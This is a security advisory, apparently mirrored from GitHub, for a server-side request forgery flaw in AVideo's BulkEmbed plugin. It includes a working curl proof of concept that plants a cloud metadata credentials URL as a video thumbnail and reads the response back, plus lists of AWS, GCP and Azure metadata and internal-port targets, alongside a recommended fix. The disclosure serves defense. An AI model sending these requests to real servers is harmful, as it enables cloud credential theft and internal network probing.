GHSA-66CW-H2MJ-J39P

Vulnerability from github – Published: 2026-03-19 17:12 – Updated: 2026-03-25 18:34
VLAI?
Summary
AVideo Affected by SSRF in BulkEmbed Thumbnail Fetch Allows Reading Internal Network Resources
Details

Summary

The BulkEmbed plugin's save endpoint (plugin/BulkEmbed/save.json.php) fetches user-supplied thumbnail URLs via url_get_contents() without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with isSSRFSafeURL(), this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail.

Details

When saving bulk-embedded videos, user-supplied thumbnail URLs from $_POST['itemsToSave'][x]['thumbs'] flow directly into url_get_contents() with no SSRF validation:

plugin/BulkEmbed/save.json.php:68-105

foreach ($_POST['itemsToSave'] as $value) {
    foreach ($value as $key => $value2) {
        $value[$key] = xss_esc($value2);  // HTML entity encoding — irrelevant for SSRF
    }
    // ...
    $poster = Video::getPathToFile("{$paths['filename']}.jpg");
    $thumbs = $value['thumbs'];              // ← attacker-controlled URL
    if (!empty($thumbs)) {
        $contentThumbs = url_get_contents($thumbs);  // ← fetched without SSRF check
        if (!empty($contentThumbs)) {
            make_path($poster);
            $bytes = file_put_contents($poster, $contentThumbs);  // ← response saved to disk
        }
    }
    // ...
    $videos->setStatus('a');  // ← video set to active, thumbnail publicly accessible

The url_get_contents() function internally calls isValidURLOrPath() which only validates URL format (scheme, host presence) — it does not block requests to private IPs, localhost, or cloud metadata endpoints.

All other URL-fetching endpoints are protected. The isSSRFSafeURL() function is called in: - plugin/Scheduler/Scheduler.php - plugin/LiveLinks/proxy.php (two call sites) - plugin/AI/receiveAsync.json.php - objects/aVideoEncoder.json.php - objects/aVideoEncoderReceiveImage.json.php

BulkEmbed is the only URL-fetching endpoint that was not hardened.

This is a full-read SSRF, not blind — the HTTP response body is written to disk as the video thumbnail and served to the attacker when they view the video poster image.

PoC

Prerequisites: Authenticated session with BulkEmbed permission. The onlyAdminCanBulkEmbed option defaults to true (line 41 of BulkEmbed.php), but is commonly disabled for multi-user platforms.

Step 1: Authenticate and obtain session cookie

COOKIE=$(curl -s -c - "http://avideo.local/user" \
  -d "user=testuser&pass=testpass&redirectUri=/" | grep PHPSESSID | awk '{print $NF}')

Step 2: Send BulkEmbed save request with internal URL as thumbnail

curl -s -b "PHPSESSID=$COOKIE" \
  "http://avideo.local/plugin/BulkEmbed/save.json.php" \
  -d "itemsToSave[0][title]=SSRF+Test" \
  -d "itemsToSave[0][description]=test" \
  -d "itemsToSave[0][duration]=PT1M" \
  -d "itemsToSave[0][link]=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \
  -d "itemsToSave[0][thumbs]=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -d "itemsToSave[0][date]="

Expected response:

{"error":false,"msg":[{"video":{...},"value":{...},"videos_id":123}],"playListId":0}

Step 3: Retrieve the SSRF response from the saved thumbnail

# Extract the filename from the response, then fetch the poster image
curl -s "http://avideo.local/videos/{filename}.jpg"

The content of the internal HTTP response (e.g., AWS IAM role names from the metadata service) is returned as the image file content.

Cloud metadata example targets: - http://169.254.169.254/latest/meta-data/iam/security-credentials/ — AWS IAM role names - http://169.254.169.254/latest/meta-data/iam/security-credentials/{role} — temporary AWS credentials - http://metadata.google.internal/computeMetadata/v1/ — GCP metadata (requires header, may not work) - http://169.254.169.254/metadata/instance?api-version=2021-02-01 — Azure instance metadata

Internal network scanning: - http://10.0.0.1:8080/ — probe internal services - http://localhost:3306/ — probe local database ports

Impact

  • Cloud credential theft: On AWS/GCP/Azure-hosted instances, an attacker can retrieve cloud IAM credentials from the metadata service, potentially gaining access to cloud infrastructure (S3 buckets, databases, other services).
  • Internal network reconnaissance: Attacker can map internal network topology by probing private IP ranges and observing which requests return content vs. timeout.
  • Internal service data exfiltration: Any HTTP-accessible internal service (admin panels, monitoring dashboards, databases with HTTP interfaces) can have its responses exfiltrated through the thumbnail mechanism.
  • Scope change: The attack crosses security boundaries — from the web application into the internal network/cloud infrastructure, which is a different trust zone.

Recommended Fix

Add isSSRFSafeURL() validation before the url_get_contents() call in plugin/BulkEmbed/save.json.php, consistent with all other URL-fetching endpoints:

    $thumbs = $value['thumbs'];
    if (!empty($thumbs)) {
        if (!isSSRFSafeURL($thumbs)) {
            _error_log("BulkEmbed: SSRF protection blocked thumbnail URL: " . $thumbs);
            continue;
        }
        $contentThumbs = url_get_contents($thumbs);
        if (!empty($contentThumbs)) {
            make_path($poster);
            $bytes = file_put_contents($poster, $contentThumbs);
            _error_log("thumbs={$thumbs} poster=$poster bytes=$bytes strlen=" . strlen($contentThumbs));
        } else {
            _error_log("ERROR thumbs={$thumbs} poster=$poster");
        }
    }
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33294"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T17:12:13Z",
    "nvd_published_at": "2026-03-22T17:17:09Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe BulkEmbed plugin\u0027s save endpoint (`plugin/BulkEmbed/save.json.php`) fetches user-supplied thumbnail URLs via `url_get_contents()` without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with `isSSRFSafeURL()`, this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail.\n\n## Details\n\nWhen saving bulk-embedded videos, user-supplied thumbnail URLs from `$_POST[\u0027itemsToSave\u0027][x][\u0027thumbs\u0027]` flow directly into `url_get_contents()` with no SSRF validation:\n\n**`plugin/BulkEmbed/save.json.php:68-105`**\n```php\nforeach ($_POST[\u0027itemsToSave\u0027] as $value) {\n    foreach ($value as $key =\u003e $value2) {\n        $value[$key] = xss_esc($value2);  // HTML entity encoding \u2014 irrelevant for SSRF\n    }\n    // ...\n    $poster = Video::getPathToFile(\"{$paths[\u0027filename\u0027]}.jpg\");\n    $thumbs = $value[\u0027thumbs\u0027];              // \u2190 attacker-controlled URL\n    if (!empty($thumbs)) {\n        $contentThumbs = url_get_contents($thumbs);  // \u2190 fetched without SSRF check\n        if (!empty($contentThumbs)) {\n            make_path($poster);\n            $bytes = file_put_contents($poster, $contentThumbs);  // \u2190 response saved to disk\n        }\n    }\n    // ...\n    $videos-\u003esetStatus(\u0027a\u0027);  // \u2190 video set to active, thumbnail publicly accessible\n```\n\nThe `url_get_contents()` function internally calls `isValidURLOrPath()` which only validates URL format (scheme, host presence) \u2014 it does **not** block requests to private IPs, localhost, or cloud metadata endpoints.\n\n**All other URL-fetching endpoints are protected.** The `isSSRFSafeURL()` function is called in:\n- `plugin/Scheduler/Scheduler.php`\n- `plugin/LiveLinks/proxy.php` (two call sites)\n- `plugin/AI/receiveAsync.json.php`\n- `objects/aVideoEncoder.json.php`\n- `objects/aVideoEncoderReceiveImage.json.php`\n\nBulkEmbed is the only URL-fetching endpoint that was not hardened.\n\n**This is a full-read SSRF**, not blind \u2014 the HTTP response body is written to disk as the video thumbnail and served to the attacker when they view the video poster image.\n\n## PoC\n\n**Prerequisites:** Authenticated session with BulkEmbed permission. The `onlyAdminCanBulkEmbed` option defaults to `true` (line 41 of `BulkEmbed.php`), but is commonly disabled for multi-user platforms.\n\n**Step 1: Authenticate and obtain session cookie**\n\n```bash\nCOOKIE=$(curl -s -c - \"http://avideo.local/user\" \\\n  -d \"user=testuser\u0026pass=testpass\u0026redirectUri=/\" | grep PHPSESSID | awk \u0027{print $NF}\u0027)\n```\n\n**Step 2: Send BulkEmbed save request with internal URL as thumbnail**\n\n```bash\ncurl -s -b \"PHPSESSID=$COOKIE\" \\\n  \"http://avideo.local/plugin/BulkEmbed/save.json.php\" \\\n  -d \"itemsToSave[0][title]=SSRF+Test\" \\\n  -d \"itemsToSave[0][description]=test\" \\\n  -d \"itemsToSave[0][duration]=PT1M\" \\\n  -d \"itemsToSave[0][link]=https://www.youtube.com/watch?v=dQw4w9WgXcQ\" \\\n  -d \"itemsToSave[0][thumbs]=http://169.254.169.254/latest/meta-data/iam/security-credentials/\" \\\n  -d \"itemsToSave[0][date]=\"\n```\n\n**Expected response:**\n\n```json\n{\"error\":false,\"msg\":[{\"video\":{...},\"value\":{...},\"videos_id\":123}],\"playListId\":0}\n```\n\n**Step 3: Retrieve the SSRF response from the saved thumbnail**\n\n```bash\n# Extract the filename from the response, then fetch the poster image\ncurl -s \"http://avideo.local/videos/{filename}.jpg\"\n```\n\nThe content of the internal HTTP response (e.g., AWS IAM role names from the metadata service) is returned as the image file content.\n\n**Cloud metadata example targets:**\n- `http://169.254.169.254/latest/meta-data/iam/security-credentials/` \u2014 AWS IAM role names\n- `http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}` \u2014 temporary AWS credentials\n- `http://metadata.google.internal/computeMetadata/v1/` \u2014 GCP metadata (requires header, may not work)\n- `http://169.254.169.254/metadata/instance?api-version=2021-02-01` \u2014 Azure instance metadata\n\n**Internal network scanning:**\n- `http://10.0.0.1:8080/` \u2014 probe internal services\n- `http://localhost:3306/` \u2014 probe local database ports\n\n## Impact\n\n- **Cloud credential theft:** On AWS/GCP/Azure-hosted instances, an attacker can retrieve cloud IAM credentials from the metadata service, potentially gaining access to cloud infrastructure (S3 buckets, databases, other services).\n- **Internal network reconnaissance:** Attacker can map internal network topology by probing private IP ranges and observing which requests return content vs. timeout.\n- **Internal service data exfiltration:** Any HTTP-accessible internal service (admin panels, monitoring dashboards, databases with HTTP interfaces) can have its responses exfiltrated through the thumbnail mechanism.\n- **Scope change:** The attack crosses security boundaries \u2014 from the web application into the internal network/cloud infrastructure, which is a different trust zone.\n\n## Recommended Fix\n\nAdd `isSSRFSafeURL()` validation before the `url_get_contents()` call in `plugin/BulkEmbed/save.json.php`, consistent with all other URL-fetching endpoints:\n\n```php\n    $thumbs = $value[\u0027thumbs\u0027];\n    if (!empty($thumbs)) {\n        if (!isSSRFSafeURL($thumbs)) {\n            _error_log(\"BulkEmbed: SSRF protection blocked thumbnail URL: \" . $thumbs);\n            continue;\n        }\n        $contentThumbs = url_get_contents($thumbs);\n        if (!empty($contentThumbs)) {\n            make_path($poster);\n            $bytes = file_put_contents($poster, $contentThumbs);\n            _error_log(\"thumbs={$thumbs} poster=$poster bytes=$bytes strlen=\" . strlen($contentThumbs));\n        } else {\n            _error_log(\"ERROR thumbs={$thumbs} poster=$poster\");\n        }\n    }\n```",
  "id": "GHSA-66cw-h2mj-j39p",
  "modified": "2026-03-25T18:34:10Z",
  "published": "2026-03-19T17:12:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-66cw-h2mj-j39p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/4589a3a089baf4ea439481f5088b38a8aa9c82b6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo Affected by SSRF in BulkEmbed Thumbnail Fetch Allows Reading Internal Network Resources"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…